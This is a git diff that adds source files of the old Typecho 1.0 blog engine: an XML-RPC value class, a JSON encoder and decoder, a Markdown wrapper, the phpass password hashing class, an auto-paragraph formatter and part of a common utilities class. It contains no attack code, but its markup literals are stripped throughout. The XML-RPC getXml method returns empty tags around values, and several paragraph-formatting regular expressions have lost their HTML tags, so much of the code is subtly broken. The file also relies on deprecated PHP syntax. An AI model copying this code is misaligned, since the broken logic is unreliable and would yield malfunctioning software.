$this->data === false) { + return 'boolean'; + } + if (is_integer($this->data)) { + return 'int'; + } + if (is_double($this->data)) { + return 'double'; + } + // Deal with IXR object types base64 and date + if (is_object($this->data) && is_a($this->data, 'IXR_Date')) { + return 'date'; + } + if (is_object($this->data) && is_a($this->data, 'IXR_Base64')) { + return 'base64'; + } + // If it is a normal PHP object convert it in to a struct + if (is_object($this->data)) { + + $this->data = get_object_vars($this->data); + return 'struct'; + } + if (!is_array($this->data)) { + return 'string'; + } + /* We have an array - is it an array or a struct ? */ + if ($this->isStruct($this->data)) { + return 'struct'; + } else { + return 'array'; + } + } + function getXml() { + /* Return XML for this value */ + switch ($this->type) { + case 'boolean': + return ''.(($this->data) ? '1' : '0').''; + break; + case 'int': + return ''.$this->data.''; + break; + case 'double': + return ''.$this->data.''; + break; + case 'string': + return ''.htmlspecialchars($this->data).''; + break; + case 'array': + $return = ''."\n"; + foreach ($this->data as $item) { + $return .= ' '.$item->getXml()."\n"; + } + $return .= ''; + return $return; + break; + case 'struct': + $return = ''."\n"; + foreach ($this->data as $name => $value) { + $return .= " $name"; + $return .= $value->getXml()."\n"; + } + $return .= ''; + return $return; + break; + case 'date': + case 'base64': + return $this->data->getXml(); + break; + } + return false; + } + function isStruct($array) { + /* Nasty function to check if an array is a struct or not */ + $expected = 0; + foreach ($array as $key => $value) { + if ((string)$key != (string)$expected) { + return true; + } + $expected++; + } + return false; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Json.php b/Typecho/1.0/php-fpm/src/var/Json.php new file mode 100755 index 000000000..7a602a4c8 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Json.php @@ -0,0 +1,545 @@ +> 6) & 0x1F)) + . chr(0x80 | ($bytes & 0x3F)); + + case (0xFFFF & $bytes) == $bytes: + return chr(0xE0 | (($bytes >> 12) & 0x0F)) + . chr(0x80 | (($bytes >> 6) & 0x3F)) + . chr(0x80 | ($bytes & 0x3F)); + } + return ''; + } + + /** + * 将utf8转换为utf16 + * + * @access private + * @param string $utf8 utf8字符串 + * @return string + */ + private static function utf82utf16($utf8) + { + if (function_exists('mb_convert_encoding')) { + return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8'); + } + + switch (strlen($utf8)) { + case 1: + return $utf8; + + case 2: + return chr(0x07 & (ord($utf8{0}) >> 2)) + . chr((0xC0 & (ord($utf8{0}) << 6)) + | (0x3F & ord($utf8{1}))); + case 3: + return chr((0xF0 & (ord($utf8{0}) << 4)) + | (0x0F & (ord($utf8{1}) >> 2))) + . chr((0xC0 & (ord($utf8{1}) << 6)) + | (0x7F & ord($utf8{2}))); + } + return ''; + } + + /** + * 判断错误 + * + * @access private + * @param mixed $data 错误对象 + * @param string $code 错误代码 + * @return boolean + */ + private static function _is_error($data, $code = null) + { + if (is_object($data) && (get_class($data) == 'services_json_error' || + is_subclass_of($data, 'services_json_error'))) { + return true; + } + + return false; + } + + /** + * 清除特殊格式 + * + * @access private + * @param string $str 待处理字符串 + * @return string + */ + private static function _reduce_string($str) + { + $str = preg_replace(array( + '#^\s*//(.+)$#m', + '#^\s*/\*(.+)\*/#Us', + '#/\*(.+)\*/\s*$#Us' + ), '', $str); + return trim($str); + } + + /** + * 将对象转换为json串 + * + * @access public + * @param mixed $var 需要转换的对象 + * @return string + */ + public static function _encode($var) + { + switch (gettype($var)) { + case 'boolean': + return $var ? 'true' : 'false'; + + case 'NULL': + return 'null'; + + case 'integer': + return (int) $var; + + case 'double': + case 'float': + return (float) $var; + + case 'string': + $ascii = ''; + $strlen_var = strlen($var); + + for ($c = 0; $c < $strlen_var; ++$c) { + + $ord_var_c = ord($var{$c}); + + switch (true) { + case $ord_var_c == 0x08: + $ascii .= '\b'; + break; + case $ord_var_c == 0x09: + $ascii .= '\t'; + break; + case $ord_var_c == 0x0A: + $ascii .= '\n'; + break; + case $ord_var_c == 0x0C: + $ascii .= '\f'; + break; + case $ord_var_c == 0x0D: + $ascii .= '\r'; + break; + + case $ord_var_c == 0x22: + case $ord_var_c == 0x2F: + case $ord_var_c == 0x5C: + $ascii .= '\\'.$var{$c}; + break; + + case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)): + $ascii .= $var{$c}; + break; + + case (($ord_var_c & 0xE0) == 0xC0): + $char = pack('C*', $ord_var_c, ord($var{$c + 1})); + $c += 1; + $utf16 = self::utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + + case (($ord_var_c & 0xF0) == 0xE0): + $char = pack('C*', $ord_var_c, + ord($var{$c + 1}), + ord($var{$c + 2})); + $c += 2; + $utf16 = self::utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + + case (($ord_var_c & 0xF8) == 0xF0): + $char = pack('C*', $ord_var_c, + ord($var{$c + 1}), + ord($var{$c + 2}), + ord($var{$c + 3})); + $c += 3; + $utf16 = self::utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + + case (($ord_var_c & 0xFC) == 0xF8): + $char = pack('C*', $ord_var_c, + ord($var{$c + 1}), + ord($var{$c + 2}), + ord($var{$c + 3}), + ord($var{$c + 4})); + $c += 4; + $utf16 = self::utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + + case (($ord_var_c & 0xFE) == 0xFC): + $char = pack('C*', $ord_var_c, + ord($var{$c + 1}), + ord($var{$c + 2}), + ord($var{$c + 3}), + ord($var{$c + 4}), + ord($var{$c + 5})); + $c += 5; + $utf16 = self::utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + } + } + + return '"'.$ascii.'"'; + + case 'array': + if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) { + $properties = array_map(array('Typecho_Json', '_name_value'), + array_keys($var), + array_values($var)); + + foreach ($properties as $property) { + if (self::_is_error($property)) { + return $property; + } + } + + return '{' . join(',', $properties) . '}'; + } + + // treat it like a regular array + $elements = array_map(array('Typecho_Json', '_encode'), $var); + + foreach ($elements as $element) { + if (self::_is_error($element)) { + return $element; + } + } + + return '[' . join(',', $elements) . ']'; + + case 'object': + $vars = get_object_vars($var); + + $properties = array_map(array('Typecho_Json', '_name_value'), + array_keys($vars), + array_values($vars)); + + foreach ($properties as $property) { + if (self::_is_error($property)) { + return $property; + } + } + + return '{' . join(',', $properties) . '}'; + + default: + return false; + } + } + + /** + * 解码json字符串 + * + * @access public + * @param string $str 解码字符串 + * @return mixed + */ + public static function _decode($str) + { + $str = self::_reduce_string($str); + + switch (strtolower($str)) { + case 'true': + return true; + + case 'false': + return false; + + case 'null': + return null; + + default: + $m = array(); + + if (is_numeric($str)) { + return ((float)$str == (integer)$str) + ? (integer)$str + : (float)$str; + + } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) { + $delim = substr($str, 0, 1); + $chrs = substr($str, 1, -1); + $utf8 = ''; + $strlen_chrs = strlen($chrs); + + for ($c = 0; $c < $strlen_chrs; ++$c) { + + $substr_chrs_c_2 = substr($chrs, $c, 2); + $ord_chrs_c = ord($chrs{$c}); + + switch (true) { + case $substr_chrs_c_2 == '\b': + $utf8 .= chr(0x08); + ++$c; + break; + case $substr_chrs_c_2 == '\t': + $utf8 .= chr(0x09); + ++$c; + break; + case $substr_chrs_c_2 == '\n': + $utf8 .= chr(0x0A); + ++$c; + break; + case $substr_chrs_c_2 == '\f': + $utf8 .= chr(0x0C); + ++$c; + break; + case $substr_chrs_c_2 == '\r': + $utf8 .= chr(0x0D); + ++$c; + break; + + case $substr_chrs_c_2 == '\\"': + case $substr_chrs_c_2 == '\\\'': + case $substr_chrs_c_2 == '\\\\': + case $substr_chrs_c_2 == '\\/': + if (($delim == '"' && $substr_chrs_c_2 != '\\\'') || + ($delim == "'" && $substr_chrs_c_2 != '\\"')) { + $utf8 .= $chrs{++$c}; + } + break; + + case preg_match('/\\\u[0-9A-F]{4}/i', substr($chrs, $c, 6)): + $utf16 = chr(hexdec(substr($chrs, ($c + 2), 2))) + . chr(hexdec(substr($chrs, ($c + 4), 2))); + $utf8 .= self::utf162utf8($utf16); + $c += 5; + break; + + case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F): + $utf8 .= $chrs{$c}; + break; + + case ($ord_chrs_c & 0xE0) == 0xC0: + $utf8 .= substr($chrs, $c, 2); + ++$c; + break; + + case ($ord_chrs_c & 0xF0) == 0xE0: + $utf8 .= substr($chrs, $c, 3); + $c += 2; + break; + + case ($ord_chrs_c & 0xF8) == 0xF0: + $utf8 .= substr($chrs, $c, 4); + $c += 3; + break; + + case ($ord_chrs_c & 0xFC) == 0xF8: + $utf8 .= substr($chrs, $c, 5); + $c += 4; + break; + + case ($ord_chrs_c & 0xFE) == 0xFC: + $utf8 .= substr($chrs, $c, 6); + $c += 5; + break; + + } + + } + + return $utf8; + + } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) { + if ($str {0} == '[') { + $stk = array(self::SERVICES_JSON_IN_ARR); + $arr = array(); + } else { + $stk = array(self::SERVICES_JSON_IN_OBJ); + $obj = new stdClass(); + } + + array_push($stk, array('what' => self::SERVICES_JSON_SLICE, + 'where' => 0, + 'delim' => false)); + + $chrs = substr($str, 1, -1); + $chrs = self::_reduce_string($chrs); + + if ($chrs == '') { + if (reset($stk) == self::SERVICES_JSON_IN_ARR) { + return $arr; + + } else { + return $obj; + + } + } + + $strlen_chrs = strlen($chrs); + for ($c = 0; $c <= $strlen_chrs; ++$c) { + + $top = end($stk); + $substr_chrs_c_2 = substr($chrs, $c, 2); + + if (($c == $strlen_chrs) || (($chrs {$c} == ',') && ($top['what'] == self::SERVICES_JSON_SLICE))) { + $slice = substr($chrs, $top['where'], ($c - $top['where'])); + array_push($stk, array('what' => self::SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false)); + + if (reset($stk) == self::SERVICES_JSON_IN_ARR) { + array_push($arr, self::_decode($slice)); + + } elseif (reset($stk) == self::SERVICES_JSON_IN_OBJ) { + $parts = array(); + + if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:\s*(\S.*),?$/Uis', $slice, $parts)) { + $key = self::_decode($parts[1]); + $val = self::_decode($parts[2]); + $obj->$key = $val; + } elseif (preg_match('/^\s*(\w+)\s*:\s*(\S.*),?$/Uis', $slice, $parts)) { + $key = $parts[1]; + $val = self::_decode($parts[2]); + $obj->$key = $val; + } + + } + + } elseif ((($chrs {$c} == '"') || ($chrs{$c} == "'")) && ($top['what'] != self::SERVICES_JSON_IN_STR)) { + array_push($stk, array('what' => self::SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs{$c})); + + } elseif (($chrs {$c} == $top['delim']) && + ($top['what'] == self::SERVICES_JSON_IN_STR) && + ((strlen(substr($chrs, 0, $c)) - strlen(rtrim(substr($chrs, 0, $c), '\\'))) % 2 != 1)) { + array_pop($stk); + + } elseif (($chrs {$c} == '[') && + in_array($top['what'], array(self::SERVICES_JSON_SLICE, self::SERVICES_JSON_IN_ARR, self::SERVICES_JSON_IN_OBJ))) { + array_push($stk, array('what' => self::SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false)); + } elseif (($chrs {$c} == ']') && ($top['what'] == self::SERVICES_JSON_IN_ARR)) { + array_pop($stk); + } elseif (($chrs {$c} == '{') && + in_array($top['what'], array(self::SERVICES_JSON_SLICE, self::SERVICES_JSON_IN_ARR, self::SERVICES_JSON_IN_OBJ))) { + array_push($stk, array('what' => self::SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false)); + } elseif (($chrs {$c} == '}') && ($top['what'] == self::SERVICES_JSON_IN_OBJ)) { + array_pop($stk); + } elseif (($substr_chrs_c_2 == '/*') && + in_array($top['what'], array(self::SERVICES_JSON_SLICE, self::SERVICES_JSON_IN_ARR, self::SERVICES_JSON_IN_OBJ))) { + array_push($stk, array('what' => self::SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false)); + $c++; + } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == self::SERVICES_JSON_IN_CMT)) { + array_pop($stk); + $c++; + for ($i = $top['where']; $i <= $c; ++$i) + $chrs = substr_replace($chrs, ' ', $i, 1); + } + + } + + if (reset($stk) == self::SERVICES_JSON_IN_ARR) { + return $arr; + + } elseif (reset($stk) == self::SERVICES_JSON_IN_OBJ) { + return $obj; + + } + + } + } + } + + /** + * 对配对值编码 + * + * @access public + * @param string $name 名称 + * @param mixed $value 值 + * @return string + */ + public static function _name_value($name, $value) + { + $encoded_value = self::_encode($value); + + if (self::_is_error($encoded_value)) { + return $encoded_value; + } + + return self::_encode(strval($name)) . ':' . $encoded_value; + } + + /** + * 对变量进行json编码 + * + * @access public + * @param mixed $var 需要处理的对象 + * @return string + */ + public static function encode($var) + { + if (function_exists('json_encode')) { + /** from php 5.1 */ + return json_encode($var); + } else { + return self::_encode($var); + } + } + + /** + * 对字符串进行json解码 + * + * @access public + * @param string $var 需要解码的字符串 + * @param boolean $assoc 是否强制解释为数组 + * @return mixed + */ + public static function decode($var, $assoc = false) + { + if (function_exists('json_decode')) { + /** from php 5.1 */ + return json_decode($var, $assoc); + } else { + $result = self::_decode($var); + } + + if ($assoc && is_object($result)) { + return (array) $result; + } else if (!$assoc && is_array($result)) { + return (object) $result; + } + + return $result; + } +} + diff --git a/Typecho/1.0/php-fpm/src/var/Markdown.php b/Typecho/1.0/php-fpm/src/var/Markdown.php new file mode 100755 index 000000000..c1d6d1d04 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Markdown.php @@ -0,0 +1,62 @@ +getType() == CommonMark_Element_InlineElement::TYPE_SOFTBREAK) { + $inline->setType(CommonMark_Element_InlineElement::TYPE_HARDBREAK); + } + + return parent::renderInline($inline); + } +} + +/** + * Markdown解析 + * + * @package Markdown + * @copyright Copyright (c) 2014 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Markdown +{ + /** + * convert + * + * @param string $text + * @return string + */ + public static function convert($text) + { + static $docParser, $renderer; + + if (empty($docParser)) { + $docParser = new CommonMark_DocParser(); + } + + + if (empty($renderer)) { + $renderer = new HtmlRendererExtra(); + } + + $doc = $docParser->parse($text); + return $renderer->render($doc); + } +} + diff --git a/Typecho/1.0/php-fpm/src/var/PasswordHash.php b/Typecho/1.0/php-fpm/src/var/PasswordHash.php new file mode 100755 index 000000000..bf6e214e5 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/PasswordHash.php @@ -0,0 +1,257 @@ + in 2004-2006 and placed in +# the public domain. +# +# There's absolutely no warranty. +# +# Please be sure to update the Version line if you edit this file in any way. +# It is suggested that you leave the main version number intact, but indicate +# your project name (after the slash) and add your own revision information. +# +# Please do not change the "private" password hashing method implemented in +# here, thereby making your hashes incompatible. However, if you must, please +# change the hash type identifier (the "$P$") to something different. +# +# Obviously, since this code is in the public domain, the above are not +# requirements (there can be none), but merely suggestions. +# + +/** + * Portable PHP password hashing framework. + * + * @package phpass + * @version 0.2 / genuine. + * @link http://www.openwall.com/phpass/ + * @since 2.5 + */ +class PasswordHash { + var $itoa64; + var $iteration_count_log2; + var $portable_hashes; + var $random_state; + + function PasswordHash($iteration_count_log2, $portable_hashes) + { + $this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; + + if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31) + $iteration_count_log2 = 8; + $this->iteration_count_log2 = $iteration_count_log2; + + $this->portable_hashes = $portable_hashes; + + $this->random_state = microtime() . uniqid(rand(), TRUE); // removed getmypid() for compability reasons + } + + function get_random_bytes($count) + { + $output = ''; + if ( @is_readable('/dev/urandom') && + ($fh = @fopen('/dev/urandom', 'rb'))) { + $output = fread($fh, $count); + fclose($fh); + } + + if (strlen($output) < $count) { + $output = ''; + for ($i = 0; $i < $count; $i += 16) { + $this->random_state = + md5(microtime() . $this->random_state); + $output .= + pack('H*', md5($this->random_state)); + } + $output = substr($output, 0, $count); + } + + return $output; + } + + function encode64($input, $count) + { + $output = ''; + $i = 0; + do { + $value = ord($input[$i++]); + $output .= $this->itoa64[$value & 0x3f]; + if ($i < $count) + $value |= ord($input[$i]) << 8; + $output .= $this->itoa64[($value >> 6) & 0x3f]; + if ($i++ >= $count) + break; + if ($i < $count) + $value |= ord($input[$i]) << 16; + $output .= $this->itoa64[($value >> 12) & 0x3f]; + if ($i++ >= $count) + break; + $output .= $this->itoa64[($value >> 18) & 0x3f]; + } while ($i < $count); + + return $output; + } + + function gensalt_private($input) + { + $output = '$P$'; + $output .= $this->itoa64[min($this->iteration_count_log2 + + ((PHP_VERSION >= '5') ? 5 : 3), 30)]; + $output .= $this->encode64($input, 6); + + return $output; + } + + function crypt_private($password, $setting) + { + $output = '*0'; + if (substr($setting, 0, 2) == $output) + $output = '*1'; + + if (substr($setting, 0, 3) != '$P$') + return $output; + + $count_log2 = strpos($this->itoa64, $setting[3]); + if ($count_log2 < 7 || $count_log2 > 30) + return $output; + + $count = 1 << $count_log2; + + $salt = substr($setting, 4, 8); + if (strlen($salt) != 8) + return $output; + +# We're kind of forced to use MD5 here since it's the only +# cryptographic primitive available in all versions of PHP +# currently in use. To implement our own low-level crypto +# in PHP would result in much worse performance and +# consequently in lower iteration counts and hashes that are +# quicker to crack (by non-PHP code). + if (PHP_VERSION >= '5') { + $hash = md5($salt . $password, TRUE); + do { + $hash = md5($hash . $password, TRUE); + } while (--$count); + } else { + $hash = pack('H*', md5($salt . $password)); + do { + $hash = pack('H*', md5($hash . $password)); + } while (--$count); + } + + $output = substr($setting, 0, 12); + $output .= $this->encode64($hash, 16); + + return $output; + } + + function gensalt_extended($input) + { + $count_log2 = min($this->iteration_count_log2 + 8, 24); +# This should be odd to not reveal weak DES keys, and the +# maximum valid value is (2**24 - 1) which is odd anyway. + $count = (1 << $count_log2) - 1; + + $output = '_'; + $output .= $this->itoa64[$count & 0x3f]; + $output .= $this->itoa64[($count >> 6) & 0x3f]; + $output .= $this->itoa64[($count >> 12) & 0x3f]; + $output .= $this->itoa64[($count >> 18) & 0x3f]; + + $output .= $this->encode64($input, 3); + + return $output; + } + + function gensalt_blowfish($input) + { +# This one needs to use a different order of characters and a +# different encoding scheme from the one in encode64() above. +# We care because the last character in our encoded string will +# only represent 2 bits. While two known implementations of +# bcrypt will happily accept and correct a salt string which +# has the 4 unused bits set to non-zero, we do not want to take +# chances and we also do not want to waste an additional byte +# of entropy. + $itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; + + $output = '$2a$'; + $output .= chr(ord('0') + $this->iteration_count_log2 / 10); + $output .= chr(ord('0') + $this->iteration_count_log2 % 10); + $output .= '$'; + + $i = 0; + do { + $c1 = ord($input[$i++]); + $output .= $itoa64[$c1 >> 2]; + $c1 = ($c1 & 0x03) << 4; + if ($i >= 16) { + $output .= $itoa64[$c1]; + break; + } + + $c2 = ord($input[$i++]); + $c1 |= $c2 >> 4; + $output .= $itoa64[$c1]; + $c1 = ($c2 & 0x0f) << 2; + + $c2 = ord($input[$i++]); + $c1 |= $c2 >> 6; + $output .= $itoa64[$c1]; + $output .= $itoa64[$c2 & 0x3f]; + } while (1); + + return $output; + } + + function HashPassword($password) + { + $random = ''; + + if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes) { + $random = $this->get_random_bytes(16); + $hash = + crypt($password, $this->gensalt_blowfish($random)); + if (strlen($hash) == 60) + return $hash; + } + + if (CRYPT_EXT_DES == 1 && !$this->portable_hashes) { + if (strlen($random) < 3) + $random = $this->get_random_bytes(3); + $hash = + crypt($password, $this->gensalt_extended($random)); + if (strlen($hash) == 20) + return $hash; + } + + if (strlen($random) < 6) + $random = $this->get_random_bytes(6); + $hash = + $this->crypt_private($password, + $this->gensalt_private($random)); + if (strlen($hash) == 34) + return $hash; + +# Returning '*' on error is safe here, but would _not_ be safe +# in a crypt(3)-like function used _both_ for generating new +# hashes and for validating passwords against existing hashes. + return '*'; + } + + function CheckPassword($password, $stored_hash) + { + $hash = $this->crypt_private($password, $stored_hash); + if ($hash[0] == '*') + $hash = crypt($password, $stored_hash); + + return $hash == $stored_hash; + } +} + diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/AutoP.php b/Typecho/1.0/php-fpm/src/var/Typecho/AutoP.php new file mode 100755 index 000000000..ac7e6435c --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/AutoP.php @@ -0,0 +1,195 @@ + + * @license GNU General Public License 2.0 + */ +class AutoP +{ + // 作为段落的标签 + const BLOCK = 'p|pre|div|blockquote|form|ul|ol|dd|table|ins|h1|h2|h3|h4|h5|h6'; + + /** + * 唯一id + * + * @access private + * @var integer + */ + private $_uniqueId = 0; + + /** + * 存储的段落 + * + * @access private + * @var array + */ + private $_blocks = array(); + + /** + * 生成唯一的id, 为了速度考虑最多支持1万个tag的处理 + * + * @access private + * @return string + */ + private function makeUniqueId() + { + return ':' . str_pad($this->_uniqueId ++, 4, '0', STR_PAD_LEFT); + } + + /** + * 用段落方法处理换行 + * + * @access private + * @param string $text + * @return string + */ + private function cutByBlock($text) + { + $space = "( | )"; + $text = preg_replace("/{$space}*\n{$space}*/is", "\n", $text); + $text = preg_replace("/\s*\s*/is", "

    ", $text); + $text = preg_replace("/\n{2,}/", "

    ", $text); + $text = nl2br($text); + $text = preg_replace("/(

    )?\s*\s*(<\/p>)?/is", "", $text); + $text = preg_replace("/

    {$space}*<\/p>/is", '', $text); + $text = preg_replace("/\s*

    \s*$/is", '', $text); + $text = preg_replace("/^\s*<\/p>\s*/is", '', $text); + return $text; + } + + /** + * 修复段落开头和结尾 + * + * @access private + * @param string $text + * @return string + */ + private function fixPragraph($text) + { + $text = trim($text); + if (!preg_match("/^<(" . self::BLOCK . ")(\s|>)/i", $text)) { + $text = '

    ' . $text; + } + + if (!preg_match("/<\/(" . self::BLOCK . ")>$/i", $text)) { + $text = $text . '

    '; + } + + return $text; + } + + /** + * 替换段落的回调函数 + * + * @access public + * @param array $matches 匹配值 + * @return string + */ + public function replaceBlockCallback($matches) + { + $tagMatch = '|' . $matches[1] . '|'; + $text = $matches[4]; + + switch (true) { + /** 用br处理换行 */ + case false !== strpos('|li|dd|dt|td|p|a|span|code|cite|strong|sup|sub|small|del|u|i|b|ins|h1|h2|h3|h4|h5|h6|', $tagMatch): + $text = nl2br(trim($text)); + break; + /** 用段落处理换行 */ + case false !== strpos('|div|blockquote|form|', $tagMatch): + $text = $this->cutByBlock($text); + if (false !== strpos($text, '

    ')) { + $text = $this->fixPragraph($text); + } + break; + default: + break; + } + + /** 没有段落能力的标签 */ + if (false !== strpos('|a|span|code|cite|strong|sup|sub|small|del|u|i|b|', $tagMatch)) { + $key = ''; + } else { + $key = ''; + } + + $this->_blocks[$key] = "<{$matches[1]}{$matches[3]}>{$text}"; + return $key; + } + + /** + * 自动分段 + * + * @param string $text + * @static + * @access private + * @return string + */ + public function parse($text) + { + /** 重置计数器 */ + $this->_uniqueId = 0; + $this->_blocks = array(); + + /** 将已有的段落后面的换行处理掉 */ + $text = preg_replace(array("/<\/p>\s+\s*/is"), array("

    "), trim($text)); + + /** 将所有非自闭合标签解析为唯一的字符串 */ + $foundTagCount = 0; + $textLength = strlen($text); + $uniqueIdList = array(); + + if (preg_match_all("/<\/\s*([a-z0-9]+)>/is", $text, $matches, PREG_OFFSET_CAPTURE)) { + foreach ($matches[0] as $key => $match) { + $tag = $matches[1][$key][0]; + + $leftOffset = $match[1] - $textLength; + $posSingle = strrpos($text, '<' . $tag . '>', $leftOffset); + $posFix = strrpos($text, '<' . $tag . ' ', $leftOffset); + $pos = false; + + switch (true) { + case (false !== $posSingle && false !== $posFix): + $pos = max($posSingle, $posFix); + break; + case false === $posSingle && false !== $posFix: + $pos = $posFix; + break; + case false !== $posSingle && false === $posFix: + $pos = $posSingle; + break; + default: + break; + } + + if (false !== $pos) { + $uniqueId = $this->makeUniqueId(); + $uniqueIdList[$uniqueId] = $tag; + $tagLength = strlen($tag); + + $text = substr_replace($text, $uniqueId, $pos + 1 + $tagLength, 0); + $text = substr_replace($text, $uniqueId, $match[1] + 7 + $foundTagCount * 10 + $tagLength, 0); // 7 = 5 + 2 + $foundTagCount ++; + } + } + } + + foreach ($uniqueIdList as $uniqueId => $tag) { + $text = preg_replace_callback("/<({$tag})({$uniqueId})([^>]*)>(.*)<\/\\1\\2>/is", + array($this, 'replaceBlockCallback'), $text, 1); + } + + $text = $this->cutByBlock($text); + $blocks = array_reverse($this->_blocks); + + foreach ($blocks as $blockKey => $blockValue) { + $text = str_replace($blockKey, $blockValue, $text); + } + + return $this->fixPragraph($text); + } +} + diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Common.php b/Typecho/1.0/php-fpm/src/var/Typecho/Common.php new file mode 100755 index 000000000..53a7b6cb4 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Common.php @@ -0,0 +1,1433 @@ + $val) { + if (in_array($key, self::$_allowableAttributes[$tag])) { + $parsedAttrs[] = " {$key}" . (empty($val) ? '' : "={$val}"); + } + } + + return '<' . $tag . implode('', $parsedAttrs) . '>'; + } + + /** + * 解析属性 + * + * @access public + * @param string $attrs 属性字符串 + * @return array + */ + public static function __parseAttrs($attrs) + { + $attrs = trim($attrs); + $len = strlen($attrs); + $pos = -1; + $result = array(); + $quote = ''; + $key = ''; + $value = ''; + + for ($i = 0; $i < $len; $i ++) { + if ('=' != $attrs[$i] && !ctype_space($attrs[$i]) && -1 == $pos) { + $key .= $attrs[$i]; + + /** 最后一个 */ + if ($i == $len - 1) { + if ('' != ($key = trim($key))) { + $result[$key] = ''; + $key = ''; + $value = ''; + } + } + + } else if (ctype_space($attrs[$i]) && -1 == $pos) { + $pos = -2; + } else if ('=' == $attrs[$i] && 0 > $pos) { + $pos = 0; + } else if (('"' == $attrs[$i] || "'" == $attrs[$i]) && 0 == $pos) { + $quote = $attrs[$i]; + $value .= $attrs[$i]; + $pos = 1; + } else if ($quote != $attrs[$i] && 1 == $pos) { + $value .= $attrs[$i]; + } else if ($quote == $attrs[$i] && 1 == $pos) { + $pos = -1; + $value .= $attrs[$i]; + $result[trim($key)] = $value; + $key = ''; + $value = ''; + } else if ('=' != $attrs[$i] && !ctype_space($attrs[$i]) && -2 == $pos) { + if ('' != ($key = trim($key))) { + $result[$key] = ''; + } + + $key = ''; + $value = ''; + $pos = -1; + $key .= $attrs[$i]; + } + } + + return $result; + } + + /** + * 自动载入类 + * + * @param $className + */ + public static function __autoLoad($className) + { + @include_once str_replace(array('\\', '_'), '/', $className) . '.php'; + } + + /** + * 程序初始化方法 + * + * @access public + * @return void + */ + public static function init() + { + /** 设置自动载入函数 */ + if (function_exists('spl_autoload_register')) { + spl_autoload_register(array('Typecho_Common', '__autoLoad')); + } else { + function __autoLoad($className) { + Typecho_Common::__autoLoad($className); + } + } + + /** 兼容php6 */ + if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) { + $_GET = self::stripslashesDeep($_GET); + $_POST = self::stripslashesDeep($_POST); + $_COOKIE = self::stripslashesDeep($_COOKIE); + + reset($_GET); + reset($_POST); + reset($_COOKIE); + } + + /** 设置异常截获函数 */ + set_exception_handler(array('Typecho_Common', 'exceptionHandle')); + } + + /** + * 异常截获函数 + * + * @access public + * @param Exception $exception 截获的异常 + * @return void + */ + public static function exceptionHandle(Exception $exception) + { + @ob_end_clean(); + + if (defined('__TYPECHO_DEBUG__')) { + echo '

    ' . $exception->getMessage() . '

    '; + echo nl2br($exception->__toString()); + } else { + if (404 == $exception->getCode() && !empty(self::$exceptionHandle)) { + $handleClass = self::$exceptionHandle; + new $handleClass($exception); + } else { + self::error($exception); + } + } + + exit; + } + + /** + * 输出错误页面 + * + * @access public + * @param mixed $exception 错误信息 + * @return void + */ + public static function error($exception) + { + $isException = is_object($exception); + $message = ''; + + if ($isException) { + $code = $exception->getCode(); + $message = $exception->getMessage(); + } else { + $code = $exception; + } + + $charset = self::$charset; + + if ($isException && $exception instanceof Typecho_Db_Exception) { + $code = 500; + @error_log($message); + + //覆盖原始错误信息 + $message = 'Database Server Error'; + + if ($exception instanceof Typecho_Db_Adapter_Exception) { + $code = 503; + $message = 'Error establishing a database connection'; + } else if ($exception instanceof Typecho_Db_Query_Exception) { + $message = 'Database Query Error'; + } + } else { + switch ($code) { + case 500: + $message = 'Server Error'; + break; + + case 404: + $message = 'Page Not Found'; + break; + + default: + $code = 'Error'; + break; + } + } + + + /** 设置http code */ + if (is_numeric($code) && $code > 200) { + Typecho_Response::setStatus($code); + } + + $message = nl2br($message); + + if (defined('__TYPECHO_EXCEPTION_FILE__')) { + require_once __TYPECHO_EXCEPTION_FILE__; + } else { + echo +<< + + + + {$code} + + + +
    + {$message} +
